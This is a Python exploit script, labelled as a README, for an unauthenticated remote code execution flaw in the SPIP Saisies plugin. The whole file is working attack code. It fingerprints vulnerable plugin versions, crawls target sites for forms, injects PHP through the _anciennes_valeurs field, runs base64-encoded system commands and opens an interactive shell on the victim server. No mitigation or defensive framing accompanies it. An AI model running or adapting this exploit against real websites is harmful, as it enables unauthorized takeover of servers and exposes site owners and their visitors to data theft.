README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-71243 - SPIP Saisies Plugin RCE
Unauthenticated PHP code injection via the _anciennes_valeurs parameter.
The saisies plugin (5.4.0 through 5.11.0) interpolates raw user input into
a template rendered with interdire_scripts=false, giving direct PHP execution.
The target must have a publicly accessible page containing a saisies-powered
form (most commonly created with the Formidable plugin). Use --crawl to
automatically discover such pages by following internal links.
Usage:
python3 exploit.py -u http://target/spip.php?page=contact --check
python3 exploit.py -u http://target/spip.php?page=contact -c "id"
python3 exploit.py -u http://target --crawl -c "id"
"""
import argparse
import base64
import re
import sys
import urllib.parse
from html.parser import HTMLParser
import requests
requests.packages.urllib3.disable_warnings()
BANNER = """
CVE-2025-71243 - SPIP Saisies RCE
Unauthenticated PHP code injection via _anciennes_valeurs
"""
class LinkExtractor(HTMLParser):
"""Extract all href attributes from anchor tags."""
def __init__(self):
super().__init__()
self.links = []
def handle_starttag(self, tag, attrs):
if tag == "a":
for k, v in attrs:
if k == "href" and v:
self.links.append(v)
class Exploit:
"""CVE-2025-71243 exploit targeting the SPIP Saisies plugin."""
PARAM = "_anciennes_valeurs"
MARKER = "CVE202571243"
ASSET_RE = re.compile(r"\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml)(\?|$)")
OUTPUT_RE = re.compile(r"value='x' />(.*?)<input value='x'", re.DOTALL)
VULN_RANGE = ("5.4.0", "5.11.0")
PLUGIN_RE = re.compile(r"saisies\((\d+(?:\.\d+)+)\)")
def __init__(self, proxy: str | None = None):
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
def _get(self, url: str, timeout: int = 10) -> requests.Response:
return self.session.get(url, timeout=timeout)
def _post(self, url: str, data: dict, timeout: int = 30) -> requests.Response:
return self.session.post(url, data=data, timeout=timeout)
def _origin(self, url: str) -> str:
p = urllib.parse.urlparse(url)
return f"{p.scheme}://{p.netloc}"
def _has_form(self, html: str) -> bool:
return self.PARAM in html
def _inject(self, php_code: str) -> str:
return f"x' /><?php {php_code} ?><input value='x"
def _extract_output(self, html: str) -> str:
m = self.OUTPUT_RE.search(html)
return m.group(1).strip() if m else ""
def detect_saisies(self, base_url: str) -> str | None:
"""Check if saisies plugin is installed and return its version.
Uses the Composed-By header and /local/config.txt which list all
active plugins with their versions (e.g. saisies(5.11.0)).
"""
origin = self._origin(base_url)
try:
r = self._get(f"{origin}/spip.php", timeout=10)
except requests.RequestException:
return None
# Check Composed-By header first
composed = r.headers.get("Composed-By", "")
m = self.PLUGIN_RE.search(composed)
if m:
return m.group(1)
# Follow config.txt URL from header, or try default path
config_url = f"{origin}/local/config.txt"
if "config.txt" in composed:
url_match = re.search(r"(https?://\S+/local/config\.txt)", composed)
if url_match:
config_url = url_match.group(1)
try:
r = self._get(config_url, timeout=5)
if r.status_code == 200:
m = self.PLUGIN_RE.search(r.text)
if m:
return m.group(1)
except requests.RequestException:
pass
return None
@staticmethod
def _version_tuple(v: str) -> tuple[int, ...]:
return tuple(int(x) for x in v.split("."))
def is_vulnerable_version(self, version: str) -> bool:
"""Check if version falls within the vulnerable range."""
v = self._version_tuple(version)
return self._version_tuple(self.VULN_RANGE[0]) <= v <= self._version_tuple(self.VULN_RANGE[1])
def _extract_links(self, html: str, base_url: str, origin: str) -> list[str]:
"""Extract internal links from HTML, filtering out assets."""
parser = LinkExtractor()
try:
parser.feed(html)
except Exception:
return []
links = []
for link in parser.links:
full = urllib.parse.urljoin(base_url, link)
if full.startswith(origin) and not self.ASSET_RE.search(full):
links.append(full)
return links
def crawl(self, start_url: str, max_pages: int = 500) -> str | None:
"""Crawl from start_url, starting with the SPIP sitemap (plan)."""
origin = self._origin(start_url)
seen = set()
queue = []
# Seed with the sitemap page first, then the start URL
plan_url = f"{origin}/spip.php?page=plan"
try:
r = self._get(plan_url, timeout=10)
if r.status_code == 200:
queue.extend(self._extract_links(r.text, plan_url, origin))
seen.add(plan_url)
except requests.RequestException:
pass
queue.append(start_url)
while queue and len(seen) < max_pages:
url = queue.pop(0)
if url in seen:
continue
seen.add(url)
try:
r = self._get(url, timeout=5)
except requests.RequestException:
continue
if self._has_form(r.text):
return url
for link in self._extract_links(r.text, url, origin):
if link not in seen:
queue.append(link)
return None
def check(self, url: str) -> bool:
"""Confirm RCE by injecting a PHP echo marker."""
payload = self._inject(f"echo '{self.MARKER}';")
r = self._post(url, data={self.PARAM: payload})
return self.MARKER in r.text
def execute(self, url: str, cmd: str) -> str:
"""Execute a shell command and return its output."""
b64 = base64.b64encode(cmd.encode()).decode()
payload = self._inject(f"system(base64_decode('{b64}'));")
r = self._post(url, data={self.PARAM: payload})
return self._extract_output(r.text)
def shell(self, url: str) -> None:
"""Interactive shell loop."""
print("[*] Shell ready. Type 'exit' to quit.\n")
while True:
try:
cmd = input("$ ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not cmd or cmd == "exit":
break
output = self.execute(url, cmd)
if output:
print(output)
def main():
print(BANNER)
p = argparse.ArgumentParser(description="CVE-2025-71243 - SPIP Saisies RCE")
p.add_argument("-u", "--url", required=True,
help="Target URL (form page, or base URL with --crawl)")
p.add_argument("-c", "--command", help="Single command to execute")
p.add_argument("--check", action="store_true", help="Only check vulnerability")
p.add_argument("--crawl", action="store_true",
help="Crawl the site to discover a saisies form")
p.add_argument("--proxy", help="HTTP proxy (http://host:port)")
args = p.parse_args()
exploit = Exploit(proxy=args.proxy)
url = args.url
# Detect saisies plugin before crawling
version = exploit.detect_saisies(url)
if version:
if exploit.is_vulnerable_version(version):
print(f"[+] Saisies plugin detected: v{version} (vulnerable)")
else:
print(f"[-] Saisies plugin detected: v{version} (not vulnerable)")
sys.exit(1)
else:
print("[*] Saisies plugin not detected via Composed-By/config.txt")
if args.crawl:
print(f"[*] Crawling {url} ...")
found = exploit.crawl(url)
if not found:
print("[-] No saisies form found on target.")
sys.exit(1)
print(f"[+] Found form: {found}")
url = found
else:
print(f"[*] Target: {url}")
if not exploit.check(url):
print("[-] Not vulnerable or no saisies form at this URL.")
sys.exit(1)
print("[+] Vulnerable!")
if args.check:
sys.exit(0)
if args.command:
print(exploit.execute(url, args.command))
sys.exit(0)
exploit.shell(url)
if __name__ == "__main__":
main()